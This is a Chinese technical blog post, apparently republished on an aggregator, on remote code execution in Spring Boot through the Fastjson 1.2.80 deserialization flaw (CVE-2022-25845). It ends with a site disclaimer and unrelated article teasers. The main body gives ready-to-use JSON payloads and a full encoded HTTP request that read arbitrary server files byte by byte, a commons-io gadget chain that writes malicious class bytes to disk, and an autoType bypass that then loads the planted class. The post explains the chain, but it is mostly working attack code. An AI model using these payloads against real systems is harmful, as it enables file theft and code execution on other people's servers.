spring +fastjson 的 rce

前言

众所周知,spring 下是不可以上传 jsp 的木马来 rce 的,一般都是控制加载 class 或者 jar 包来 rce 的,我们的 fastjson 的高版本正好可以完成这些,这里来简单分析一手

环境搭建

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter</artifactId>
</dependency>

<dependency>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.2</version>
</dependency>
<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>org.eclipse.jdt.core</artifactId>
    <version>1.9.22</version>
</dependency>

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.80</version>
</dependency>

大概是这些
然后写一个解析 json 的路由就 ok 了
然后可以直接用
https://github.com/luelueking/CVE-2022-25845-In-Spring

spring 加载 class 原理

一个 spring 运行后大部分类都不会加载了,但是任然有一些特别的
比如 tomcat-docbase

这个原理的话,如果学习过 spi 机制的话,其实还是有点像的
启动 docker 后我们的 tmp 目录一定会有一个
/tomcat-docbase........后面内容是随机的
如果在/tmp/tomcat-docbase....../WEB-INF/classes/
下有我们的恶意 class,那么就会加载它,但是随机目录名给我们利用造成了很大的困难,所以读取文件就非常重要了,那分析分析 fastjson 读取文件是如何来读取的

fastjson 的利用

fastjson 读取文件

本地测试的话大家可以在服务器或者本地放一个文件

root@VM-16-17-ubuntu:/var/www/html# cat 1.txt
flag{yes}

然后使用如下的 paylaod

{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.BOMInputStream",
    "delegate": {
      "@type": "org.apache.commons.io.input.BOMInputStream",
      "delegate": {
        "@type": "org.apache.commons.io.input.ReaderInputStream",
        "reader": {
          "@type": "jdk.nashorn.api.scripting.URLReader",
          "url": "http://ip/1.txt"
        },
        "charsetName": "UTF-8",
        "bufferSize": "1024"
      },
      "boms": [
        {
          "charsetName": "UTF-8",
          "bytes":[102]
        }
      ]
    },
    "boms": [
      {
        "charsetName": "UTF-8",
        "bytes": [1]
      }
    ]
  },
  "b": {"$ref":"$.a.delegate"}
}

然后发送如下的请求

POST /json HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="125", "Not.A/Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: USER_ID_ANONYMOUS=97269975b0004387b7443950946b97a8; DETECTED_VERSION=5.1.0; MAIN_MENU_COLLAPSE=false
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 2141

json=%7b%0a%20%20%22%61%22%3a%20%7b%0a%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6a%61%76%61%2e%69%6f%2e%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%42%4f%4d%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%22%64%65%6c%65%67%61%74%65%22%3a%20%7b%0a%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%42%4f%4d%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%20%20%22%64%65%6c%65%67%61%74%65%22%3a%20%7b%0a%20%20%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6f%72%67%2e%61%70%61%63%68%65%2e%63%6f%6d%6d%6f%6e%73%2e%69%6f%2e%69%6e%70%75%74%2e%52%65%61%64%65%72%49%6e%70%75%74%53%74%72%65%61%6d%22%2c%0a%20%20%20%20%20%20%20%20%22%72%65%61%64%65%72%22%3a%20%7b%0a%20%20%20%20%20%20%20%20%20%20%22%40%74%79%70%65%22%3a%20%22%6a%64%6b%2e%6e%61%73%68%6f%72%6e%2e%61%70%69%2e%73%63%72%69%70%74%69%6e%67%2e%55%52%4c%52%65%61%64%65%72%22%2c%0a%20%20%20%20%20%20%20%20%20%20%22%75%72%6c%22%3a%20%22%68%74%74%70%3a%2f%2f%34%39%2e%32%33%32%2e%32%32%32%2e%31%39%35%2f%31%2e%74%78%74%22%0a%20%20%20%20%20%20%20%20%7d%2c%0a%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%22%62%75%66%66%65%72%53%69%7a%65%22%3a%20%22%31%30%32%34%22%0a%20%20%20%20%20%20%7d%2c%0a%20%20%20%20%20%20%22%62%6f%6d%73%22%3a%20%5b%0a%20%20%20%20%20%20%20%20%7b%0a%20%20%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%20%20%22%62%79%74%65%73%22%3a%5b%31%30%32%5d%0a%20%20%20%20%20%20%20%20%7d%0a%20%20%20%20%20%20%5d%0a%20%20%20%20%7d%2c%0a%20%20%20%20%22%62%6f%6d%73%22%3a%20%5b%0a%20%20%20%20%20%20%7b%0a%20%20%20%20%20%20%20%20%22%63%68%61%72%73%65%74%4e%61%6d%65%22%3a%20%22%55%54%46%2d%38%22%2c%0a%20%20%20%20%20%20%20%20%22%62%79%74%65%73%22%3a%20%5b%31%5d%0a%20%20%20%20%20%20%7d%0a%20%20%20%20%5d%0a%20%20%7d%2c%0a%20%20%22%62%22%3a%20%7b%22%24%72%65%66%22%3a%22%24%2e%61%2e%64%65%6c%65%67%61%74%65%22%7d%0a%7d

注意需要编码

回显如下

HTTP/1.1 200 
Content-Type: application/json
Date: Fri, 15 Nov 2024 07:16:59 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Content-Length: 116

{"a":{"bomcharsetName":null,"bom":null},"b":{"bomcharsetName":"UTF-8","bom":{"charsetName":"UTF-8","bytes":"Zg=="}}}

其中 Zg== 解码就是我们读取的内容

然后简单讲讲 paylaod,其实如果你直接发送这个 paylaod 应该是不行的,因为在 fastjson1.2.80 的话不接受 InputStream 的,所以在这之前我们需要先把这个类加入我们的缓存中

{
  "a": "{    \"@type\": \"java.lang.Exception\",    \"@type\": \"com.fasterxml.jackson.core.exc.InputCoercionException\",    \"p\": {    }  }",
  "b": {
    "$ref": "$.a.a"
  },
  "c": "{  \"@type\": \"com.fasterxml.jackson.core.JsonParser\",  \"@type\": \"com.fasterxml.jackson.core.json.UTF8StreamJsonParser\",  \"in\": {}}",
  "d": {
    "$ref": "$.c.c"
  }
}

原理以前已经分析过了,这一段 paylaod 就是为了把 InputStream 加入缓存

然后我们看看读文件的原理

org.apache.commons.io.input.BOMInputStream

这里利用的是它的构造函数和 getBOM
首先是构造方法

public BOMInputStream(final InputStream delegate, final boolean include, final ByteOrderMark... boms)

可以看到是可以传入一个 InputStream 类型的参数 delegete 和一个 ByteOrderMark 类型的数组
主要看下面的代码

public ByteOrderMark getBOM() throws IOException {
        if (this.firstBytes == null) {
            this.fbLength = 0;
            int maxBomSize = ((ByteOrderMark)this.boms.get(0)).length();
            this.firstBytes = new int[maxBomSize];

            for(int i = 0; i < this.firstBytes.length; ++i) {
                this.firstBytes[i] = this.in.read(); 
                ++this.fbLength;
                if (this.firstBytes[i] < 0) {
                    break;
                }
            }

            this.byteOrderMark = this.find(); 
            if (this.byteOrderMark != null && !this.include) {
                if (this.byteOrderMark.length() < this.firstBytes.length) {
                    this.fbIndex = this.byteOrderMark.length();
                } else {
                    this.fbLength = 0;
                }
            }
        }

        return this.byteOrderMark;
    }
    private ByteOrderMark find() {
        Iterator var1 = this.boms.iterator();

        ByteOrderMark bom;
        do {
            if (!var1.hasNext()) {
                return null;
            }

            bom = (ByteOrderMark)var1.next();
        } while(!this.matches(bom));

        return bom;
    }
    private boolean matches(ByteOrderMark bom) {
        for(int i = 0; i < bom.length(); ++i) {
            if (bom.get(i) != this.firstBytes[i]) {
                return false;
            }
        }

        return true;
    }

可以看到这里是有一个逻辑的,先把 delegate 输入流的字节码转成 int 数组,然后拿 ByteOrderMark 里的 bytes 挨个字节遍历去比对,如果遍历过程有比对错误的 getBom 就会返回一个 null,如果遍历结束,没有比对错误那就会返回一个 ByteOrderMark 对象。所以这里文件读取成功的标志应该是 getBom 返回结果不为 null。
这也是我们利用的主要思路

然后我们的 delegte 是什么呢?
ReaderInputStream

public ReaderInputStream(final Reader reader, final CharsetEncoder encoder, final int bufferSize) {
        this.reader = reader;
        this.encoder = encoder;
        this.encoderIn = CharBuffer.allocate(bufferSize);
        this.encoderIn.flip();
        this.encoderOut = ByteBuffer.allocate(128);
        this.encoderOut.flip();
    }

这是它的构造方法,是一个 reader,我们就看那个函数的名字,就是把我们的 reader 传为 in 或者 out 的类型
我们仔细看看方法
allocate(bufferSize)就是限制我们读取 char 的范围,然后 this.encoderIn.flip();就是为确定我们的范围
然后需要传入一个 reader 看到下一个类 URLReader

可以传入一个 URL 对象。这就意味着 file jar http 等协议都可以使用。我们可以指定自己的文件

可以说和 sql 的盲注一模一样了

这也是为什么我的 paylaod 中 byte 为 102 的原因,对应的是 f,和文件内容 flag...对得上

写文件

这个写文件的 paylaod 比较复杂

必不可少的依赖就是

<dependency>    <groupId>commons-io</groupId>    <artifactId>commons-io</artifactId>    <version>2.7</version></dependency>

几乎写文件的链子都是围绕我们这个依赖展开的,而且这个依赖非常的常见

paylaod

{
  "a": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.AutoCloseInputStream",
    "in": {
      "@type": "org.apache.commons.io.input.TeeInputStream",
      "input": {
        "@type": "org.apache.commons.io.input.CharSequenceInputStream",
        "cs": {
          "@type": "java.lang.String",
          "value": "恶意字节码"
        },
        "charset": "iso-8859-1",
        "bufferSize": 1024
      },
      "branch": {
        "@type": "org.apache.commons.io.output.WriterOutputStream",
        "writer": {
          "@type": "org.apache.commons.io.output.LockableFileWriter",
          "file": "写入路径",
          "charset": "iso-8859-1",
          "append": true
        },
        "charsetName": "iso-8859-1",
        "bufferSize": 1024,
        "writeImmediately": true
      },
      "closeBranch": true
    }
  },
  "b": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
      "@type": "org.apache.commons.io.input.XmlStreamReader",
      "inputStream": {
        "$ref": "$.a"
      },
      "httpContentType": "text/xml",
      "lenient": false,
      "defaultEncoding": "iso-8859-1"
    },
    "charsetName": "iso-8859-1",
    "bufferSize": 1024
  },
  "c": {
    "@type": "java.io.InputStream",
    "@type": "org.apache.commons.io.input.ReaderInputStream",
    "reader": {
      "@type": "org.apache.commons.io.input.XmlStreamReader",
      "inputStream": {
        "$ref": "$.a"
      },
      "httpContentType": "text/xml",
      "lenient": false,
      "defaultEncoding": "iso-8859-1"
    },
    "charsetName": "iso-8859-1",
    "bufferSize": 1024
  }
}

XmlStreamReader
我们观察他的构造函数

public XmlStreamReader(InputStream is, String httpContentType, boolean lenient, String defaultEncoding)throws IOException {
  this.defaultEncoding = defaultEncoding;
  BOMInputStream bom = new BOMInputStream(new BufferedInputStream(is, 4096), false, BOMS);
  BOMInputStream pis = new BOMInputStream(bom, true, XML_GUESS_BYTES);
  this.encoding = this.doHttpStream(bom, pis, httpContentType, lenient);
  this.reader = new InputStreamReader(pis, this.encoding);
  }

重点就是 doHttpStream 方法最终会调用到 InputStream.read 方法

XmlStreamReader.<init>(InputStream, String, boolean, String)
 XmlStreamReader.doHttpStream(BOMInputStream, BOMInputStream, String, boolean)
BOMInputStream.getBOMCharsetName()
 BOMInputStream.getBOM()
BufferedInputStream.read()
 BufferedInputStream.fill()
 InputStream.read(byte[], int, int)

但是我们如果要写文件,需要的是 Output 类型的流,这里就用到了一个神奇的类

TeeInputStream

public TeeInputStream(
            InputStream input, OutputStream branch, boolean closeBranch) {
        super(input);
        this.branch = branch;
        this.closeBranch = closeBranch;
    }

可以看到是接受输出和输入流的,我们看到他的 read 方法

public int read() throws IOException {
        int ch = super.read();
        if (ch != -1) {
            branch.write(ch);
        }
        return ch;
    }

把读取的转化为输出的,那不就是完成了流的转化吗,这样我们就可以利用 input 流来写文件了

通过 TeeInputStream,InputStream 输入流里读出来的东西可以重定向写入到 OutputStream 输出流。

但是我们如果要控制写入的内容,还需要控制读取的内容,我们关注读取的部分
我们需要传入一个 input 对象

利用的是
ReaderInputStream + CharSequenceReader

ReaderInputStream.read--> ReaderInputStream. fillBuffer

private void fillBuffer() throws IOException {
    if (!this.endOfInput && (this.lastCoderResult == null || this.lastCoderResult.isUnderflow())) {
        this.encoderIn.compact();
        int position = this.encoderIn.position();
        int c = this.reader.read(this.encoderIn.array(), position, this.encoderIn.remaining());
        if (c == -1) {
            this.endOfInput = true;
        } else {
            this.encoderIn.position(position + c);
        }

        this.encoderIn.flip();
    }

    this.encoderOut.compact();
    this.lastCoderResult = this.encoder.encode(this.encoderIn, this.encoderOut, this.endOfInput);
    this.encoderOut.flip();
}

CharSequenceReader.read

public int read(char[] array, int offset, int length) {
    if (this.idx >= this.end()) {
        return -1;
    } else {
        Objects.requireNonNull(array, "array");
        if (length >= 0 && offset >= 0 && offset + length <= array.length) {
            int count;
            if (this.charSequence instanceof String) {
                count = Math.min(length, this.end() - this.idx);
                ((String)this.charSequence).getChars(this.idx, this.idx + count, array, offset);
                this.idx += count;
                return count;
            } else if (this.charSequence instanceof StringBuilder) {
                count = Math.min(length, this.end() - this.idx);
                ((StringBuilder)this.charSequence).getChars(this.idx, this.idx + count, array, offset);
                this.idx += count;
                return count;
            } else if (this.charSequence instanceof StringBuffer) {
                count = Math.min(length, this.end() - this.idx);
                ((StringBuffer)this.charSequence).getChars(this.idx, this.idx + count, array, offset);
                this.idx += count;
                return count;
            } else {
                count = 0;

                for(int i = 0; i < length; ++i) {
                    int c = this.read();
                    if (c == -1) {
                        return count;
                    }

                    array[offset + i] = (char)c;
                    ++count;
                }

                return count;
            }
        } else {
            throw new IndexOutOfBoundsException("Array Size=" + array.length + ", offset=" + offset + ", length=" + length);
        }
    }
}

加载 class

这个 payload 就比较简单了

{
  "@type":"java.lang.Exception",
  "@type":"恶意类的名称,带上包名"
}

这是因为第一次类是 Exception,然后会来到 deserialze:77, ThrowableDeserializer (com.alibaba.fastjson.parser.deserializer)

所以再次进入 checkAutoType 的时候 expectClass 不为空

最后

感觉 fastjson 以前的版本的绕过真的是很妙,特别是写文件的 payload,还可以取看看 1.2.68 的那部分,写文件的绕过更是精彩

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/924611.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

导入100道注会cpa题的方法,导入试题,自己刷题

一、问题描述 复习备考的小伙伴们&#xff0c;往往希望能够利用零碎的时间和手上的试题&#xff0c;来复习和备考 用一个能够导入自己试题的刷题工具&#xff0c;既能加强练习又能利用好零碎时间&#xff0c;是一个不错的解决方案 目前市面上刷题工具存下这些问题 1、要收费…

Java安全—JNDI注入RMI服务LDAP服务JDK绕过

前言 上次讲到JNDI注入这个玩意&#xff0c;但是没有细讲&#xff0c;现在就给它详细地讲个明白。 JNDI注入 那什么是JNDI注入呢&#xff0c;JNDI全称为 Java Naming and Directory Interface&#xff08;Java命名和目录接口&#xff09;&#xff0c;是一组应用程序接口&…

vue2:Cascader 级联选择器的两种数据初始化方式

背景 项目中有时需要使用级联选择器,供用户从多层数据中逐级选择。官网中的示例都使用的静态数据,但是实际应用中,大部分情况是需要从后台动态获取业务数据的。所以,今天记录一下从后台获取数据进行初始化的两种方式:懒加载模式和全部加载模式及其优缺点。 懒加载模式的实…

【21-30期】Java技术深度剖析:从分库分表到微服务的核心问题解析

&#x1f680; 作者 &#xff1a;“码上有前” &#x1f680; 文章简介 &#xff1a;Java &#x1f680; 欢迎小伙伴们 点赞&#x1f44d;、收藏⭐、留言&#x1f4ac; 文章题目&#xff1a;Java技术深度剖析&#xff1a;从分库分表到微服务的核心问题解析 摘要&#xff1a; 本…

七牛云AIGC内容安全方案助力企业合规创新

随着人工智能生成内容(AIGC)技术的飞速发展,内容审核的难度也随之急剧上升。在传统审核场景中,涉及色情、政治、恐怖主义等内容的标准相对清晰明确,但在AIGC的应用场景中,这些界限变得模糊且难以界定。用户可能通过交互性引导AI生成违规内容,为审核工作带来了前所未有的不可预测…

深入FastAPI:表单和文件上传详解

引言 大家好&#xff0c;我是GISerLiu &#x1f601;&#xff0c;一名热爱AI技术的GIS开发者。本系列文章是我跟随DataWhale 2024年11月学习赛的FastAPI学习总结文档&#xff1b;在实际开发中&#xff0c;我们经常需要处理表单数据和文件上传。本文将深入探讨如何在 FastAPI 中…

学习HTML第三十三天

学习文章目录 一.fieldset 与 legend 的使用&#xff08;了解&#xff09;二.表单总结三.框架标签 一.fieldset 与 legend 的使用&#xff08;了解&#xff09; fieldset 可以为表单控件分组、 legend 标签是分组的标题 二.表单总结 form表单&#xff1a; action 属性&#…

使用NAS开启无纸化办公,Docker部署开源文档管理系统『Paperless-ngx』

使用NAS开启无纸化办公&#xff0c;Docker部署开源文档管理系统『Paperless-ngx』 哈喽小伙伴们好&#xff0c;我是Stark-C~ 对于文案类的办公场景来说&#xff0c;手头堆放最多的可能就是各种文档文件&#xff0c;以及各种用过的打印废纸。 这么多年来&#xff0c;不管是领…

SQL基础入门——SQL基础语法

1. 数据库、表、列的创建与管理 在SQL中&#xff0c;数据库是一个数据的集合&#xff0c;包含了多个表、视图、索引、存储过程等对象。每个表由若干列&#xff08;字段&#xff09;组成&#xff0c;表中的数据行代表记录。管理数据库和表的结构是SQL的基础操作。 1.1 创建数据…

YOLOv11融合PIDNet中的PagFM模块及相关改进思路

YOLOv11v10v8使用教程&#xff1a; YOLOv11入门到入土使用教程 YOLOv11改进汇总贴&#xff1a;YOLOv11及自研模型更新汇总 《PIDNet: A Real-time Semantic Segmentation Network Inspired by PID Controllers》 一、 模块介绍 论文链接&#xff1a;https://arxiv.org/pdf/2…

什么是代理,nodenginx前端代理详解

一. 什么是代理&#xff1f; 代理就是通过一个特殊的网络服务去访问另一网络服务的一种间接访问方式。像我们不能直接访问国外的网站&#xff0c;只能使用VPN&#xff0c;就是使用了代理 二. 前端为什么要用代理&#xff1f; 首先明确以下两个概念 &#xff08;1&#xff09…

BERT解析

BERT项目 我在BERT添加注释和部分推理代码 main.py vocab WordVocab.load_vocab(args.vocab_path)#加载vocab那么这个加载的二进制是什么呢&#xff1f; 1. 加载数据集 继承关系&#xff1a;TorchVocab --> Vocab --> WordVocab TorchVocab 该类主要是定义了一个词…

《独立开发:Spring 框架的综合应用》

一、Spring 框架概述 Spring 是一个分层的 Java SE/EE full-stack 轻量级开源框架&#xff0c;以 IoC 和 AOP 为内核&#xff0c;具有方便解耦、方便集成优秀框架、降低 Java EE API 使用难度等优点。 Spring 框架因其强大的功能以及卓越的性能而受到众多开发人员的喜爱。它是…

JMeter如何配置分布式?

一、复制两个代理机 二、代理机一 在第一个D:\install\apache-jmeter1\bin目录下&#xff0c;修改"jmeter.properties"文件 搜索"server_port"改成"server_port1999"&#xff0c; "#server.rmi.ssl.disablefalse"改成"server.r…

多目标优化算法——多目标粒子群优化算法(MOPSO)

Handling Multiple Objectives With Particle Swarm Optimization&#xff08;多目标粒子群优化算法&#xff09; 一、摘要&#xff1a; 本文提出了一种将帕累托优势引入粒子群优化算法的方法&#xff0c;使该算法能够处理具有多个目标函数的问题。与目前其他将粒子群算法扩展…

物联网实验室建设方案

一、物联网实验室建设 (1) 基础理论教学云平台 唯众基础理论教学云平台是一个专为物联网相关专业教学打造的综合性在线教学平台。该平台凭借先进的技术架构和丰富的教学资源&#xff0c;为师生提供了一个高效、便捷、互动的学习环境。以下是该平台的主要特点和功能描述&#…

【汇编语言】call 和 ret 指令(一) —— 探讨汇编中的ret和retf指令以及call指令及其多种转移方式

文章目录 前言1. ret 和 retf1.1 ret 指令1.1.1 功能与理解1.1.2 程序演示 1.2 retf 指令1.2.1 功能与理解1.2.2 程序演示 2. call 指令3. 依据位移进行转移的call指令3.1 格式与功能3.1.1 格式3.1.2 功能 3.2 理解指令 4. 转移的目的地址在指令中的call指令4.1 格式与功能4.1.…

(免费送源码)计算机毕业设计原创定制:Java+B/S+SSM+Web前端开发技术+IDEA+MySQL+Navicat 有风小院

摘 要 信息化社会内需要与之针对性的信息获取途径&#xff0c;但是途径的扩展基本上为人们所努力的方向&#xff0c;由于站在的角度存在偏差&#xff0c;人们经常能够获得不同类型信息&#xff0c;这也是技术最为难以攻克的课题。针对有风小院等问题&#xff0c;对有风小院信息…

# DBeaver 连接hive数仓

前提 前提是基于hadoop的hive服务已经启动&#xff0c;其中hive的服务包括metastore元数据服务和hiveserver2服务已经启动。hiveserver2服务在默认端口10000启动&#xff0c;且通过telnet xx.xx.xx.xx 10000 能通。 满足以上要求后&#xff0c;再可以看以下连接文档&#xff…

数据结构:链表进阶

链表进阶 1. ArrayList的缺陷2. 链表2.1 链表的概念及结构2.2 链表的实现 3.链表面试题4.LinkedList的使用5.1 什么是LinkedList4.2 LinkedList的使用 5. ArrayList和LinkedList的区别 1. ArrayList的缺陷 通过源码知道&#xff0c;ArrayList底层使用数组来存储元素&#xff1…